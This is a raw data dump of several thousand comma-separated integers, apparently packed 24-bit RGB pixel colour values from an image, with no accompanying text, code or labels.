10198177, 10395302, 10131873, 11051179, 10326427, 10655132, 12036008, 10521993, 11901074, 13740194, 12947083, 4784899, 10967131, 14058891, 4521985, 10117729, 16768475, 16770786, 9401716, 13743286, 16242910, 12953519, 11375516, 11575718, 10129812, 12498358, 11641509, 13217972, 5715002, 2621442, 7091514, 7483444, 5835020, 7146767, 7736334, 7602949, 8131351, 7214877, 5311503, 3671559, 3017226, 3480346, 2494993, 1443594, 1181453, 1444884, 1708827, 2433063, 920338, 1446937, 1907745, 2170918, 2170918, 2301991, 3486265, 2564649, 3288886, 9276304, 10658468, 9342606, 9408399, 4604483, 2301215, 787204, 1050119, 1312262, 1575434, 1180162, 1509127, 1443847, 1641226, 589824, 1576203, 1378824, 1313031, 1378824, 1641224, 1641478, 1837828, 1507840, 1769472, 3411469, 4791582, 4987419, 4657171, 4328206, 4592148, 3408646, 3213064, 2886153, 2756623, 5521725, 5785926, 4207154, 4537148, 5525585, 4802889, 6579811, 12896709, 8620164, 6647655, 7964287, 8886416, 10597804, 10532011, 10990511, 9015181, 10854564, 9933205, 10460576, 11316398, 10066588, 11053483, 10264221, 10329501, 10197913, 10197913, 10131863, 10263447, 10131093, 9671312, 9671569, 9605776, 9343117, 9277324, 9145740, 9276304, 9930644, 9995156, 9797779, 9404816, 8814471, 8486788, 8947337, 8946567, 8420226, 7960191, 7697791, 7961990, 8225932, 7436414, 7895422, 7960444, 7828858, 7631736, 7631736, 7500150, 7302771, 7171185, 7105392, 6908013, 7105392, 6710634, 7302772, 7302772, 4934224, 5921119, 5000530, 3817025, 2304044, 1450018, 1122080, 991007, 596249, 135698, 135698, 69392, 332564, 792347, 660761, 266003, 200210, 135187, 268313, 926500, 3228998, 5925998, 7110272, 7175295, 7832196, 9081493, 9146003, 8158081, 4868431, 3223606, 5263189, 7039600, 5789533, 5855326, 5986912, 5986912, 5986912, 5986912, 5986912, 5986912, 6052705, 6118498, 5986912, 6052705, 6052705, 5986912, 6052705, 6184291, 6250084, 6250084, 9934492, 9671320, 9539734, 9342355, 9408148, 9737113, 9802906, 9276562, 9408148, 9408148, 9473941, 9408148, 9342355, 9539734, 9802906, 9802906, 9737112, 9868698, 9934491, 9934491, 10131870, 10329249, 10329249, 10263456, 10263456, 10263456, 10131870, 9934491, 9868698, 10000284, 10066077, 10131870, 10197663, 10131870, 10263456, 10329249, 10263456, 10329249, 10329249, 10263456, 10263456, 10131870, 10197663, 10263456, 10263456, 10263456, 10329249, 10328992, 10788771, 10592162, 10461349, 10330277, 10396072, 10526888, 10920360, 10589852, 10917529, 11508377, 11046025, 12622741, 12882317, 10773602, 5243392, 9913155, 13268344, 4849664, 7024944, 13607840, 16110545, 11242893, 12360865, 13610677, 13611449, 12428972, 10194835, 6576988, 12563894, 12957110, 14796491, 8675428, 4527644, 4722453, 8799050, 6493210, 8528422, 9511975, 8523538, 8459287, 7279384, 7217447, 5576987, 4330516, 3872790, 3151635, 3152923, 2430230, 2102042, 2497315, 3024686, 1249558, 1974051, 2830130, 2566703, 2237224, 2763057, 2959923, 3682876, 7893882, 14670561, 15526637, 15132392, 12961221, 5196620, 1248527, 655618, 655361, 1312262, 1641227, 1048576, 851968, 1772812, 1575433, 852480, 721152, 655360, 786945, 918531, 984323, 1378052, 1114624, 1376768, 1769984, 2886922, 4266265, 4659481, 3868938, 4196620, 4722964, 3211265, 3014658, 4727074, 4794920, 6507078, 3481629, 4534578, 4272434, 2498076, 7105383, 11251882, 8291709, 4081727, 8884616, 7174511, 4872013, 7570297, 8622985, 11187631, 11120044, 12829126, 11644082, 10789288, 10855594, 10461348, 11316657, 10725288, 10659493, 10660004, 10791331, 10462366, 10593437, 10527644, 10330265, 10001815, 9870742, 9739156, 9475984, 9541523, 9868439, 10259609, 10389401, 10192024, 9798293, 9340815, 8947337, 9802646, 9867669, 9143436, 8617351, 8421514, 8093317, 8226184, 9212309, 8948110, 8947597, 8881803, 8816010, 8684424, 8487045, 8289666, 8092287, 8092287, 8487045, 8289666, 8355459, 8289667, 7500151, 6250084, 7105393, 6053218, 5658974, 5922659, 5200219, 4872281, 4149071, 3227456, 2569526, 1647654, 1318432, 2370607, 3356732, 2764595, 2172458, 1777700, 726295, 726552, 661529, 1055517, 1515811, 1844263, 1910056, 2106665, 2369324, 2237224, 4342600, 7105393, 7039600, 6579049, 6447463, 5986912, 6644842, 6513256, 6513256, 6513256, 6513256, 6513256, 6447463, 6447463, 6381670, 6315877, 6381670, 6381670, 6315877, 6381670, 6447463, 6447463, 6447463, 10131871, 9934492, 9802906, 9605527, 9671320, 9934492, 9934492, 9539734, 9671320, 9737113, 9671320, 9605527, 9671320, 9737113, 9737113, 9737113, 9737112, 9802905, 9868698, 9934491, 10066077, 10263456, 10263456, 10131870, 10131870, 10000284, 9868698, 9868698, 9934491, 9934491, 10000284, 10131870, 10131870, 10066077, 10197663, 10329249, 10263456, 10263456, 10329249, 10197663, 10263456, 10460835, 10592421, 10592421, 10592421, 10592421, 10592421, 10658214, 10526369, 10394783, 10461349, 10527142, 10264486, 10658474, 10394530, 10392986, 11180701, 11047056, 11703184, 13410715, 10906728, 8140081, 5505024, 9056304, 15241877, 8665146, 4326918, 7817029, 12556694, 11373450, 13083559, 10123134, 12229537, 14928590, 10062477, 2760735, 12366000, 13482939, 14203326, 13213860, 11565439, 8734540, 7614008, 6690335, 7345177, 8526110, 9839913, 9972015, 9448243, 8793911, 7021351, 5709084, 4724756, 4201237, 4597798, 4138537, 3219494, 2563108, 2695975, 1841693, 2303786, 3027766, 1119770, 2632496, 4342346, 3486267, 5919325, 10919847, 13156809, 13683663, 13289675, 9276300, 5393486, 852999, 2102807, 1510157, 1180676, 1245956, 1311234, 1443334, 1970191, 1443847, 720896, 589824, 458752, 458752, 655872, 721152, 1180673, 1245440, 2232073, 1901825, 2295298, 3478032, 4133650, 4066317, 4262413, 5117465, 5315101, 3934731, 3870480, 3740434, 6767940, 5585208, 4796721, 4732470, 4865853, 5591116, 5790035, 3619379, 2369826, 11120549, 6778724, 5002827, 8095613, 4805708, 9410707, 12632769, 13617872, 13485773, 11578290, 10658215, 10790313, 11317427, 11317938, 11056047, 10859179, 10793384, 10727591, 10596005, 10727078, 10595492, 10266529, 10200736, 10134943, 9805978, 9936283, 10460576, 10654881, 10850465, 10587295, 10127769, 9932952, 9539474, 9803159, 9934745, 10197406, 10066078, 9868958, 9474970, 9211796, 9475223, 9606039, 9605526, 9605526, 9473940, 9408147, 9276561, 9144975, 9079182, 8881803, 9144975, 8816010, 9079182, 9013390, 8487046, 8684425, 9802906, 8553352, 8093315, 8685965, 7700353, 7897989, 7438208, 6845301, 6450543, 5989222, 5725280, 5791072, 6185573, 6119780, 5725279, 5330521, 4804947, 4475982, 4278603, 4343626, 4541005, 5067092, 5330264, 5001299, 4737357, 6053218, 6250084, 6973807, 6973807, 6052705, 6776428, 8421766, 6382183, 7039600, 7039600, 7105393, 7105393, 7039600, 6908014, 6776428, 6710635, 6842221, 6842221, 6842221, 6776428, 6776428, 6776428, 6776428, 6776428, 10395043, 10197664, 9934492, 9802906, 9868699, 10131871, 10131871, 9934492, 9868699, 10066078, 9934492, 9868699, 10000285, 9802906, 9605527, 9671320, 9737112, 9868698, 9868698, 9802905, 9802905, 9868698, 9802905, 9605526, 9539733, 9408147, 9408147, 9737112, 9934491, 9934491, 9934491, 10066077, 10066077, 10000284, 10131870, 10197663, 10131870, 10197663, 10197663, 10066077, 10197663, 10592421, 10658214, 10592421, 10724007, 10789800, 10724007, 10855593, 10328990, 10263710, 10329249, 10461349, 10329763, 10527142, 10131613, 10195605, 11180699, 10914955, 12490901, 13145489, 8864576, 7743267, 6161154, 9186863, 16359588, 10704729, 4720648, 4855572, 8147023, 9266534, 14134705, 8542559, 11307407, 15257297, 9470080, 2563098, 11904934, 13218995, 14268860, 15712708, 15116461, 12548735, 9258833, 8534338, 6624025, 7410198, 8855075, 9972529, 10762820, 8593193, 7543842, 6691356, 5708311, 5316635, 5187619, 4795179, 3679018, 3220525, 2893354, 2434343, 2369836, 2831670, 1515811, 2502193, 3553600, 3157302, 5590360, 9142668, 8682115, 10788260, 8617602, 5393999, 7366506, 1444623, 2365466, 1904145, 1114370, 1311749, 1179648, 1574406, 1969678, 1114882, 524288, 984323, 852738, 721665, 1050630, 1115909, 1246466, 2034953, 3482140, 2428169, 2229250, 2886152, 3673615, 4790553, 4986136, 5775395, 6301739, 4591378, 3474182, 4527897, 7555403, 7096392, 5124144, 5059891, 5850949, 4602679, 2827294, 2170391, 2433563, 10000526, 5723983, 6184791, 9804689, 2961964, 7303534, 11710643, 12169913, 14012117, 12828357, 11513524, 11119279, 11449270, 11647419, 11516344, 11188660, 10925486, 10991279, 10925486, 10990765, 10793386, 10661287, 10661287, 10464167, 10332324, 10396321, 10986920, 11444910, 11312043, 10917287, 10457504, 10196124, 9934745, 10000795, 9935772, 10592934, 10658728, 10461349, 10263970, 9737625, 9803418, 10000284, 9934491, 9802905, 9737112, 9671319, 9671319, 9802905, 9868698, 9868698, 9539733, 9408147, 9408147, 9342355, 9276562, 9473941, 10263970, 9408661, 9146003, 9541274, 8949907, 9279385, 9147799, 8818834, 8489356, 8357000, 8224901, 8158593, 8355972, 8684937, 8356742, 7961984, 7896191, 7369847, 7106675, 7369077, 7829628, 8026494, 7763322, 7565943, 7631736, 8618632, 7631737, 6842221, 7302772, 6579049, 6842221, 8882317, 7434871, 7434358, 7434358, 7500151, 7500151, 7500151, 7368565, 7236979, 7105393, 7236979, 7236979, 7236979, 7236979, 7171186, 7171186, 7171186, 7171186, 10395043, 10197664, 9802906, 9671320, 9868699, 10131871, 10197664, 10131871, 10000285, 10197664, 10131871, 10066078, 10131871, 9868699, 9539734, 9671320, 9737112, 9868698, 9934491, 9868698, 9802905, 9802905, 9671319, 9473940, 9408147, 9210768, 9276561, 9605526, 9868698, 9868698, 9868698, 10000284, 10066077, 10000284, 10131870, 10197663, 10131870, 10131870, 10197663, 10066077, 10131870, 10395042, 10263456, 10197663, 10460835, 10460835, 10395042, 10592421, 9934745, 10132124, 9868698, 10132383, 10066590, 10132383, 10000538, 10130580, 10654608, 11374732, 13212823, 11169130, 7151389, 8529959, 6948871, 9251628, 16491172, 13401472, 6693925, 5578012, 4000524, 4527897, 12619667, 9133154, 10450556, 11900825, 7495261, 5785924, 9403769, 12362655, 15977677, 16237511, 14390167, 14191505, 15311787, 13668245, 9193292, 7216932, 7016212, 7934232, 9840691, 8063767, 8196634, 7738904, 7347996, 6694688, 5646627, 4267805, 3414817, 4667455, 4472386, 3487288, 1778980, 1516837, 3490628, 3753030, 2369839, 2433838, 3090228, 3813435, 3945019, 5392464, 1972252, 3946042, 11379879, 3023655, 1773329, 2101524, 1640714, 2166288, 1442307, 1837578, 1706506, 786432, 1313031, 1642253, 1708047, 1708047, 2102805, 2365719, 2430483, 3218970, 4139559, 3941408, 3414037, 3149324, 4002580, 4790299, 5446687, 6499118, 6498348, 4919316, 5380383, 7420479, 8145485, 6238515, 6042934, 6242366, 5388343, 4863282, 4271915, 2891545, 2430994, 4865333, 2825752, 9471872, 11841449, 2959909, 5459277, 8025208, 7497840, 12498109, 13288654, 12632005, 11645623, 12106943, 12107200, 11911102, 11911102, 11714234, 11582391, 11713977, 11516085, 11252913, 11318706, 11187120, 10923950, 10988973, 11053483, 11447473, 12103867, 11708341, 11181740, 10984872, 10591395, 10527139, 10396836, 10331813, 10396582, 10330532, 10592934, 9868698, 9342608, 10658468, 10526628, 10395042, 10263456, 10131870, 10066331, 10132124, 10263710, 10395296, 10263710, 10132124, 10066077, 10066077, 9803418, 9408660, 9277075, 9079696, 8816524, 9343382, 9672347, 9804446, 9738653, 9344665, 9475481, 9080210, 9211281, 8882316, 9342354, 9868698, 9737112, 9671832, 9540244, 8948107, 8816264, 8947337, 9078923, 8947337, 8420995, 7894651, 7763065, 7960444, 9013132, 7631479, 7368565, 8487046, 8553352, 7566457, 6776941, 7500664, 7763323, 7763323, 7763323, 7763323, 7763323, 7697530, 7631737, 7631737, 7565944, 7565944, 7565944, 7565944, 7565944, 7565944, 7565944, 7565944, 10066078, 9934492, 9539734, 9408148, 9671320, 9868699, 9934492, 10066078, 10000285, 10066078, 10066078, 10000285, 10000285, 9868699, 9737113, 9802906, 9802905, 9934491, 10000284, 10000284, 10066077, 10131870, 10066077, 9868698, 9737112, 9473940, 9408147, 9671319, 9802905, 9868698, 9868698, 9934491, 10000284, 9934491, 10066077, 10131870, 10066077, 10066077, 10131870, 10000284, 10000284, 9934491, 9737112, 9737112, 9868698, 9934491, 9868698, 9934491, 9539987, 9868952, 9539733, 9737112, 9803418, 9803416, 10001049, 10328470, 10325641, 12361112, 13803419, 8995903, 6162439, 8068122, 7210501, 8066069, 10964301, 14388621, 12614779, 10116701, 4064775, 3670276, 7025721, 9263453, 11896971, 6767427, 10323329, 7166547, 5060144, 7558223, 16769247, 15446448, 8861755, 10637909, 13141642, 16565447, 14855086, 12353153, 8928320, 6884372, 9116968, 8982813, 9047576, 9115677, 9120040, 7875365, 6105120, 3872786, 4993589, 5785421, 3946040, 2631979, 1713700, 3228736, 3820875, 4477523, 5988970, 6250345, 7433079, 7826808, 7629429, 3879226, 262148, 7630450, 13024704, 2957862, 786434, 2035731, 1838093, 2100495, 1245184, 1902858, 1640199, 983040, 3417637, 2826270, 3023394, 3154980, 3418152, 3615016, 4271917, 4271145, 4073766, 5585722, 5584693, 4530978, 4595230, 4001553, 5250078, 7157048, 7682622, 4261386, 5050904, 8077382, 7024694, 5249310, 7224640, 9002848, 7557198, 5716021, 5453362, 4861482, 5124654, 4927275, 5388596, 8612711, 6574413, 4667191, 10062477, 8418424, 3878455, 8418943, 11446450, 11710905, 11842491, 13158862, 12501446, 12435908, 12370115, 12304322, 12303552, 12500672, 12303039, 12039867, 12039867, 11908281, 11579829, 11513523, 11447471, 11644852, 11907771, 11381427, 11117487, 11052462, 11052973, 11120048, 10858414, 10661548, 10463656, 10396582, 10658214, 10394783, 10263195, 10855332, 10724261, 10658214, 10526628, 10395042, 10329503, 10263710, 10197917, 10197917, 10000538, 10329503, 9934491, 10197663, 10066590, 9540246, 10198177, 9606040, 9211796, 9672347, 9343382, 9738140, 9803933, 9540761, 9935005, 9540247, 9473940, 9407890, 9342097, 9342097, 9342097, 9276561, 9211022, 9079436, 8814981, 9209739, 9275532, 9012360, 9209741, 9604499, 9276304, 8552581, 9210511, 8749960, 8289667, 8487046, 7895422, 8027008, 7895422, 8027008, 7829116, 7829116, 7829116, 7829116, 7829116, 7829116, 7829116, 7829116, 7894909, 7829116, 7829116, 7894909, 7894909, 7894909, 7894909, 7894909, 10000285, 10000285, 9737113, 9539734, 9671320, 9737113, 9802906, 10066078, 10000285, 9802906, 9737113, 9868699, 9868699, 9934492, 10066078, 10066078, 9934491, 9934745, 9934745, 9934745, 10132124, 10395296, 10263710, 10066331, 10000538, 9803159, 9671573, 9737366, 9803159, 9803159, 9803159, 9868952, 9868952, 9803159, 9934745, 10000538, 9934745, 9934745, 9934745, 9868952, 9868952, 9408401, 9276815, 9408401, 9474194, 9474194, 9474194, 9474194, 9474451, 9606037, 9737112, 9473940, 9540244, 9474451, 9408910, 9999760, 10391432, 12689561, 12419967, 7810087, 6884877, 8000530, 8196367, 6881536, 6819855, 12941175, 14917019, 13668494, 6695208, 5182227, 4458506, 8340552, 12816786, 4529435, 11177092, 7888212, 2821381, 8280401, 16770015, 13207943, 5440001, 8071978, 9392466, 16304328, 16771045, 16568014, 12485250, 6427416, 8328994, 10166574, 10097695, 9901082, 9576480, 8069660, 5445902, 4595480, 4927024, 5192768, 3353131, 1974817, 1648675, 4479316, 3755852, 4675929, 7897993, 7961990, 9539225, 10195870, 9274768, 4472133, 262149, 10394013, 12827325, 2102553, 786434, 1772559, 1969679, 2232081, 1508100, 1705479, 1508613, 1377541, 3548710, 3615016, 3417638, 3680810, 4272947, 4206640, 4666162, 4468526, 4006690, 5190450, 6702917, 6635841, 4528924, 4067346, 5514022, 6960698, 8078407, 6170153, 4984596, 6958129, 6233636, 5247511, 8011587, 11368827, 8079690, 5383204, 5975854, 6437175, 6107440, 5383717, 7818828, 7621706, 4596771, 6308420, 13546937, 9534595, 3285291, 6115675, 8289156, 8947345, 10986928, 13486803, 12893896, 12959943, 13024453, 12958147, 13089476, 13022912, 13154499, 12826304, 12299960, 12366010, 12498109, 12104121, 11775155, 11842231, 11119279, 10856621, 10790830, 10790828, 11251891, 10923696, 11056306, 10530732, 10463656, 10462116, 10526369, 11117990, 11512748, 10855332, 10658468, 10658214, 10592675, 10526882, 10395296, 10263710, 10066331, 9934745, 10066331, 10263710, 9868952, 10066331, 10132383, 9671832, 10592934, 10395555, 9803933, 9672347, 9474454, 9737626, 10066591, 9868699, 10065820, 9671062, 9736085, 9999257, 9538704, 9144716, 9407888, 9145229, 8750471, 9013643, 9275786, 9341066, 9012103, 8748931, 9275532, 10065048, 9802646, 9013130, 8684424, 9342354, 8947597, 8487046, 7632250, 8290180, 9277075, 7434871, 8092288, 8092288, 8026495, 8026495, 8026495, 8026495, 8092288, 8092288, 8158081, 8092288, 8092288, 8092288, 8092288, 8026495, 8026495, 8026495, 10395043, 10460836, 10197664, 10000285, 10000285, 9868699, 9868699, 10263457, 10000285, 9539734, 9473941, 9671320, 9737113, 10000285, 10263457, 10263456, 10066077, 9934745, 9737366, 9737366, 10000538, 10263710, 10197917, 9868952, 9868952, 9803159, 9737366, 9803159, 9868952, 9868952, 9803159, 9737366, 9671573, 9605780, 9737366, 9803159, 9737366, 9737366, 9803159, 9671573, 9803159, 9145229, 9079436, 9342608, 9342608, 9276815, 9408401, 9277072, 9408658, 9211279, 9802905, 9013132, 9013643, 8619396, 7896441, 8749691, 10522504, 11899532, 9656404, 7480095, 8528673, 8986399, 9643813, 6619136, 6096646, 6954780, 12153713, 15772841, 11694447, 10312540, 6167582, 6563367, 12092032, 7225660, 8214608, 7886925, 6438450, 14068385, 15118248, 7745836, 6557963, 7611680, 5445652, 11239292, 16308694, 16768732, 16770016, 6562340, 6357514, 10430259, 11083050, 9766929, 8784396, 7935505, 4523264, 5318175, 3544853, 2231823, 1971219, 3026987, 2898226, 2900282, 4347989, 4347477, 4938076, 6712693, 7697278, 7565433, 6906733, 5459541, 131077, 10526369, 11709616, 1379343, 1444877, 1181192, 1048577, 1310979, 1310721, 1376514, 1574406, 1771785, 1903371, 3350817, 2561046, 3153183, 4534836, 4271919, 3547683, 4007205, 3743004, 3347220, 6504257, 8148053, 3805202, 4791582, 5778477, 6304308, 8014410, 12553101, 7880001, 4589581, 6233123, 7745592, 9720406, 8931917, 4787471, 4787728, 6169381, 7551288, 4853775, 5774877, 8867148, 7157559, 6895418, 6107189, 11110028, 9927041, 6639192, 5456717, 6709354, 6710383, 10131362, 13222863, 12761283, 13352907, 13549259, 13482953, 13613256, 13087166, 13350084, 13218498, 12232116, 12496058, 13220294, 12563391, 12300730, 12236989, 10528168, 10463658, 10529452, 10266279, 11121588, 10266792, 10135974, 10333353, 10331813, 10790565, 11117990, 10920098, 11052195, 10921125, 10855847, 10789800, 10724261, 10724261, 10724261, 10526882, 10329503, 10132124, 9868952, 9737366, 10197917, 10329503, 10527141, 10066590, 10066590, 10132383, 10001312, 9606554, 9869212, 9605527, 9934492, 9605014, 9999257, 10064537, 10064537, 9932951, 9867669, 9867669, 9605267, 9605267, 9474194, 9342095, 9538958, 9407372, 9275532, 9275532, 9209739, 8947337, 8947337, 8947850, 9079182, 9276561, 9013390, 8618632, 8948110, 8882317, 8882317, 8552839, 8552839, 8552839, 8487046, 8487046, 8487046, 8487046, 8487046, 8487046, 8355460, 8223874, 8158081, 8158081, 8092288, 8026495, 7960702, 8092288, 10460836, 10329250, 10329250, 10263457, 10066078, 9868699, 10000285, 10263457, 9934492, 9671320, 9473941, 9605527, 9868699, 10000285, 10066078, 10066077, 10000284, 10000538, 9737366, 9605780, 9605780, 9539987, 9408401, 9474194, 9211022, 9013643, 9013643, 9408401, 9671573, 9605780, 9474194, 9539987, 9408401, 9605780, 9079436, 9276815, 9408401, 9079436, 9276815, 9079436, 9145229, 9013643, 9013643, 9013643, 9079436, 9145229, 9145229, 8882314, 8882314, 8684935, 9276304, 8749960, 8684678, 8093052, 7699062, 9144449, 9864574, 10846330, 6366241, 6624275, 8462626, 9447463, 9513256, 6094848, 8795442, 5902349, 8271926, 11430503, 15114913, 14325397, 12153717, 8601922, 9195599, 6763822, 6173482, 6634801, 7620667, 10711398, 8603453, 7942955, 11032139, 7282967, 5116685, 6897724, 13743537, 15783890, 16773355, 8210247, 5505030, 9773358, 12201020, 10817823, 9176332, 7670023, 5705224, 5711904, 4267548, 2099206, 3286049, 4408123, 3555896, 2900023, 2768698, 3031616, 3030336, 4542035, 6053736, 6250086, 5394264, 3684157, 66054, 9605780, 11051943, 1314320, 984326, 2233880, 917504, 1245956, 1311234, 1640199, 2034444, 2692374, 3218718, 2100237, 1837066, 2100238, 2757655, 2691861, 2560788, 3744033, 3808286, 2557190, 5252907, 6634301, 3607053, 5055269, 5450539, 4003093, 5384233, 11436162, 12750482, 8669006, 5114644, 6166303, 8073785, 7218730, 5508369, 5968920, 6890022, 6824484, 5113353, 7350315, 9060933, 6297885, 7812155, 7354174, 8080468, 7227729, 7493472, 7824238, 11840181, 11643831, 13222863, 14472417, 14142682, 14141912, 13614539, 13547976, 13547463, 13415620, 13349573, 12428984, 12495290, 12693439, 12430524, 11970741, 12234424, 12500161, 11121075, 9938595, 10464685, 9675169, 10727857, 10398892, 9675169, 10266790, 10660008, 10790052, 10985891, 11116705, 10854816, 10789539, 10724261, 10724007, 10724261, 10658468, 10658468, 10658468, 10592162, 10328990, 10066331, 9934745, 10132124, 10461089, 10461348, 10198176, 9935774, 10001567, 9869726, 9803933, 9869212, 9868699, 9933979, 10065051, 10130330, 10261146, 10261146, 10130330, 9999255, 9999255, 9802646, 9736853, 9539987, 9539987, 9539472, 9473679, 9342095, 9276302, 9210509, 9145229, 9145229, 9079693, 9013902, 8948109, 9144976, 9144976, 9013390, 9013390, 8947597, 8684425, 8684425, 8684425, 8684425, 8684425, 8552839, 8552839, 8487046, 8487046, 8355460, 8289667, 8223874, 8158081, 8158081, 8158081, 8158081, 8158081, 10395043, 10329250, 10263457, 10197664, 10000285, 9868699, 9934492, 10197664, 9934492, 9671320, 9473941, 9605527, 9802906, 9868699, 9868699, 9868699, 9868698, 9803159, 9539987, 9408401, 9408401, 9342608, 9211022, 9211022, 9013643, 8882057, 8882057, 9079436, 9211022, 9145229, 9079436, 9079436, 9013643, 9145229, 8618885, 8684678, 8750471, 8487299, 8684678, 8487299, 8487299, 8618885, 8684678, 8684678, 8684678, 8750471, 8750471, 8750471, 8487556, 8290177, 8618374, 8815753, 8487299, 8224638, 7896441, 8881279, 9404023, 10385779, 5050383, 5506053, 8397347, 8724771, 8396317, 5636096, 11230555, 5377034, 5444110, 7286316, 15049120, 16364980, 16167088, 11364712, 8997191, 8275262, 6369575, 7817532, 8672069, 7420974, 6760221, 10244679, 14189689, 6822414, 6103578, 4134416, 11705237, 15391186, 16774125, 10515571, 4980739, 8984871, 12792902, 11540265, 9635343, 7931144, 7019801, 6170915, 5121313, 3676951, 4140070, 4801082, 3949112, 2174500, 2043944, 1846313, 2108975, 3357761, 5658976, 5921378, 5526874, 3553084, 260, 7961212, 9868437, 1249040, 524288, 2168600, 1443848, 1245956, 1311234, 2166543, 2626581, 3284511, 3284511, 2166030, 1902346, 2362897, 1967369, 1704196, 2297616, 3613217, 3808286, 2688265, 4397341, 5580845, 3672848, 5450540, 5517360, 2622980, 2820359, 8345944, 15120570, 12223368, 5839394, 6034974, 6428960, 6888482, 7349033, 6954275, 7151139, 7085087, 6031886, 8860215, 9254973, 5373958, 8203574, 8732487, 6301745, 5910328, 7558236, 10850457, 15786989, 15985654, 15590382, 15129831, 15524589, 14668767, 14536668, 13680845, 13351367, 14009299, 13482955, 12035509, 12430524, 12562110, 11773364, 11444910, 12432058, 12236217, 11383729, 10266788, 10793902, 10135972, 10464939, 10200999, 10398378, 10463145, 10658725, 10920611, 11182498, 11050912, 10789023, 10855332, 10658468, 10724007, 10658468, 10592675, 10592675, 10658468, 10592162, 10460576, 10132124, 10066331, 10197917, 10461346, 10527141, 10263969, 10001567, 10067360, 10001312, 9935519, 10000285, 10065565, 10196637, 10261917, 10261916, 10326939, 10326939, 10196123, 10130841, 9934232, 9868439, 9802646, 9671573, 9605780, 9605778, 9605778, 9605780, 9474451, 9408401, 9342865, 9342865, 9408658, 9145488, 9079695, 9210769, 9276562, 9144976, 9144976, 9144463, 8881291, 8816011, 8750218, 8750218, 8750218, 8684425, 8618632, 8487046, 8487046, 8421253, 8355460, 8223874, 8158081, 8158081, 8158081, 8223874, 8223874, 10329250, 10263457, 10197664, 10066078, 9934492, 9802906, 9868699, 10066078, 9868699, 9671320, 9473941, 9539734, 9671320, 9671320, 9671320, 9605527, 9539733, 9408147, 9276561, 9210768, 9276561, 9276561, 9210768, 9144975, 9013389, 8947596, 8816010, 8684424, 8618631, 8552838, 8487045, 8421252, 8421252, 8421252, 7829115, 7763322, 7829115, 7631736, 7763322, 7631736, 7565943, 8026494, 8158080, 8026494, 8092287, 8158080, 8158080, 8289666, 8421765, 8027007, 8026237, 9276304, 8552838, 8553349, 8027257, 7960177, 9732734, 11701385, 5182227, 5572875, 7873059, 8003616, 6819855, 4980736, 11166818, 4129280, 5116174, 6103071, 8799814, 14260120, 16364980, 14983327, 15115681, 13077125, 10841957, 13342602, 11697264, 10643548, 12351856, 16165279, 14386041, 7215632, 7682353, 2819072, 9864573, 14143173, 16773867, 15189186, 3866624, 8985901, 10489895, 10947360, 10687007, 8193035, 8795442, 7090734, 5580065, 4793374, 4269599, 3416859, 1775372, 856071, 1910559, 3029301, 3160122, 5001557, 6053734, 6382699, 7961729, 5922146, 260, 3817023, 7171437, 1972763, 655618, 1313291, 1378055, 1838093, 1837578, 1640199, 2100237, 2560788, 3020826, 3678756, 3612194, 3743780, 3348509, 2888470, 3152925, 4336940, 4071458, 3412245, 4134428, 4989478, 4397341, 6240313, 5979194, 4005661, 2031872, 2360579, 12029840, 15317180, 11170681, 9786974, 8469056, 8665406, 8993858, 6822175, 7282212, 8465457, 8135465, 9318967, 8989232, 6489614, 8595762, 9058883, 5181465, 8013905, 7031377, 14073799, 16641270, 15589610, 16775167, 14011348, 16380666, 15722736, 15525870, 14999526, 14735841, 13748692, 14406622, 13946071, 11906488, 10853800, 11775415, 12565185, 12169397, 12170165, 10198426, 11449774, 11056043, 10332322, 10332324, 10397865, 10528938, 10528168, 10658468, 10920611, 11182498, 10985119, 10723232, 10855332, 10658468, 10658214, 10592421, 10526628, 10592162, 10657955, 10657955, 10592162, 10329503, 10263710, 10329762, 10527141, 10592934, 10330532, 10198691, 10198691, 10198691, 10067105, 10131871, 10197151, 10394016, 10459296, 10393503, 10327710, 10393502, 10328222, 10262429, 10131613, 10065820, 9868698, 9803159, 9803159, 9803159, 9803416, 9935002, 9738393, 9737625, 9541016, 9606809, 9672602, 9212051, 9146258, 9342868, 9408148, 9342355, 9407635, 9472914, 9078670, 9013390, 9013390, 9013390, 9013390, 8947597, 8816011, 8684425, 8552839, 8552839, 8487046, 8421253, 8355460, 8289667, 8355460, 8355460, 8355460, 10263457, 10131871, 10066078, 9934492, 9802906, 9671320, 9737113, 9868699, 9671320, 9539734, 9408148, 9473941, 9539734, 9539734, 9408148, 9342355, 9210768, 9013389, 8947596, 9013389, 9079182, 9144975, 9144975, 8947596, 8816010, 8816010, 8618631, 8289666, 8026494, 7960701, 7960701, 7894908, 7894908, 7829115, 7236978, 7105392, 7171185, 7039599, 7105392, 7039599, 6908013, 7565943, 7697529, 7434357, 7631736, 7697529, 7565943, 7829115, 8553351, 8026494, 7434357, 9605526, 8619144, 8750728, 7895671, 7104355, 11837599, 13610154, 5117463, 5113866, 7414309, 7348257, 4849664, 5113864, 10050908, 4591117, 3867907, 4525324, 5380119, 11564147, 14918050, 15772843, 16102578, 14392471, 14459289, 16170418, 13801613, 13866378, 15115162, 16758958, 12872289, 6491655, 7353134, 2490624, 10391944, 14670800, 15853791, 16771302, 4128774, 8132391, 10952501, 10751781, 10227228, 9377309, 7873059, 5839381, 5907743, 5120283, 4793372, 3940632, 2166790, 2563605, 2433563, 3026730, 4276804, 4474185, 3553084, 3882049, 4079942, 3224888, 772, 2566956, 4802376, 1972763, 393216, 1247498, 1838606, 1706507, 1508613, 1442820, 1573893, 1639686, 1836552, 3218205, 2822678, 3217436, 4532783, 4270123, 4600371, 5192506, 4598059, 4663082, 5056813, 5713973, 5779764, 6702149, 6176832, 4729897, 3349014, 1638400, 9465453, 14135216, 13936297, 13013654, 10510949, 11232873, 10245208, 6428186, 7216419, 8926008, 9648189, 8988719, 10303552, 8921899, 9383992, 9254720, 5311251, 8144717, 7754583, 11638940, 16640239, 16312303, 16312816, 15524327, 16117493, 16118776, 16184826, 15790068, 15395310, 14474721, 14276830, 14276830, 14276830, 12829384, 11579317, 11052715, 9669261, 10327189, 12894139, 12369076, 11382438, 10330265, 11317936, 10462629, 9936032, 10592935, 10921129, 10920100, 11050914, 10854305, 10789025, 10657955, 10592421, 10658214, 10592421, 10526628, 10526369, 10592162, 10657955, 10723748, 10461089, 10461089, 10461348, 10592934, 10462118, 10396325, 10330277, 10330277, 10330277, 10198691, 10263457, 10328737, 10525602, 10590882, 10590882, 10459809, 10459808, 10328992, 10328992, 10197663, 10131870, 10066077, 10000538, 9934745, 9869209, 9935002, 10066588, 9935772, 9804188, 9738395, 9738395, 9804188, 9475223, 9409430, 9540247, 9540247, 9539734, 9605014, 9670293, 9341842, 9341842, 9276562, 9210769, 9276562, 9210769, 9079183, 